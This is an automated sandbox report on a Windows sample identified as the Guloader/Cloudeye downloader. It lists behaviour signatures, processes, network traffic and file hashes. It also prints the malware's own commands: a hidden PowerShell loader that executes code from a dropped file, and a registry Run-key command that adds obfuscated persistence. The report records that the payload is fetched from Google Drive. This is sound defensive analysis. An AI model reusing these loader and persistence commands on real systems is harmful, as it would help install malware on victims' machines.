Analysis Overview
SHA256
a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7
Threat Level: Known bad
The file a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Enumerates physical storage devices
Program crash
NSIS installer
Modifies registry key
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: MapViewOfSection
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-10 02:04
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-10 02:04
Reported
2024-07-10 02:06
Platform
win10v2004-20240709-en
Max time kernel
94s
Max time network
125s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1464 wrote to memory of 4832 | N/A | C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1464 wrote to memory of 4832 | N/A | C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1464 wrote to memory of 4832 | N/A | C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe
"C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Vindflj=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp';$Byggryn=$Vindflj.SubString(71093,3);.$Byggryn($Vindflj)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4832 -ip 4832
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4832 -s 2308
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
Files
memory/4832-9-0x00000000734CE000-0x00000000734CF000-memory.dmp
memory/4832-10-0x0000000005080000-0x00000000050B6000-memory.dmp
memory/4832-12-0x0000000005710000-0x0000000005D38000-memory.dmp
memory/4832-11-0x00000000734C0000-0x0000000073C70000-memory.dmp
memory/4832-13-0x00000000734C0000-0x0000000073C70000-memory.dmp
memory/4832-14-0x0000000005690000-0x00000000056B2000-memory.dmp
memory/4832-15-0x0000000005FA0000-0x0000000006006000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpd3w3nq.l40.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4832-25-0x0000000006010000-0x0000000006076000-memory.dmp
memory/4832-26-0x00000000062A0000-0x00000000065F4000-memory.dmp
memory/4832-27-0x0000000006660000-0x000000000667E000-memory.dmp
memory/4832-28-0x00000000066A0000-0x00000000066EC000-memory.dmp
memory/4832-29-0x0000000007670000-0x0000000007706000-memory.dmp
memory/4832-30-0x0000000006B80000-0x0000000006B9A000-memory.dmp
memory/4832-31-0x0000000006BA0000-0x0000000006BC2000-memory.dmp
memory/4832-32-0x0000000007CC0000-0x0000000008264000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp
| MD5 | 8172795f7c8cfb7cc597e879d2b0b468 |
| SHA1 | 811797a9309a1bc3429f3bc7735eb6af1a7c80dc |
| SHA256 | 5339721e47b9ac3dfb81b6d81593e9792c57573541918c0d5ca327128aa4345c |
| SHA512 | 9718f72091367ed6a02598295a9f35512c6ddb31e3dae9b685060e613c942c755d90418cb4ea31e4bf7ea8967ce34c9356bbf53fafe08a31d851afddd55d7322 |
memory/4832-34-0x00000000088F0000-0x0000000008F6A000-memory.dmp
memory/4832-36-0x00000000734C0000-0x0000000073C70000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-10 02:04
Reported
2024-07-10 02:06
Platform
win7-20240705-en
Max time kernel
122s
Max time network
125s
Command Line
Signatures
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%pantstnings% -windowstyle minimized $Uselessness=(Get-ItemProperty -Path 'HKCU:\\Chet\\').Ruelike;%pantstnings% ($Uselessness)" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2452 set thread context of 2744 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe
"C:\Users\Admin\AppData\Local\Temp\a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Vindflj=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp';$Byggryn=$Vindflj.SubString(71093,3);.$Byggryn($Vindflj)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%pantstnings% -windowstyle minimized $Uselessness=(Get-ItemProperty -Path 'HKCU:\Chet\').Ruelike;%pantstnings% ($Uselessness)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%pantstnings% -windowstyle minimized $Uselessness=(Get-ItemProperty -Path 'HKCU:\Chet\').Ruelike;%pantstnings% ($Uselessness)"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
Files
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp
| MD5 | 8172795f7c8cfb7cc597e879d2b0b468 |
| SHA1 | 811797a9309a1bc3429f3bc7735eb6af1a7c80dc |
| SHA256 | 5339721e47b9ac3dfb81b6d81593e9792c57573541918c0d5ca327128aa4345c |
| SHA512 | 9718f72091367ed6a02598295a9f35512c6ddb31e3dae9b685060e613c942c755d90418cb4ea31e4bf7ea8967ce34c9356bbf53fafe08a31d851afddd55d7322 |
memory/2452-15-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2452-14-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2452-13-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2452-12-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2452-11-0x0000000073C21000-0x0000000073C22000-memory.dmp
memory/2452-18-0x0000000073C20000-0x00000000741CB000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Skyldsttendes.Und
| MD5 | be381f7baf52513e52dfed9361a6dc69 |
| SHA1 | a6cdb30ea1a85a42404e6e2fd29c8d5cc6ad251a |
| SHA256 | caceb5002866580c07883f8fddb62a82d7fadd1e8ca7a2eb4e11240dfda94d79 |
| SHA512 | c076aa00785538010dcc9df6aaba0f8af5f130b7edc800fca31da4fff9ee11fa728ba5c78c89047494b0536878d8b32d3f05f43177dacf0416726b02af814c8a |
memory/2452-20-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2452-21-0x0000000006840000-0x000000000907F000-memory.dmp
memory/2452-22-0x0000000073C20000-0x00000000741CB000-memory.dmp
memory/2744-24-0x00000000005C0000-0x0000000001622000-memory.dmp
memory/2744-44-0x0000000001630000-0x0000000003E6F000-memory.dmp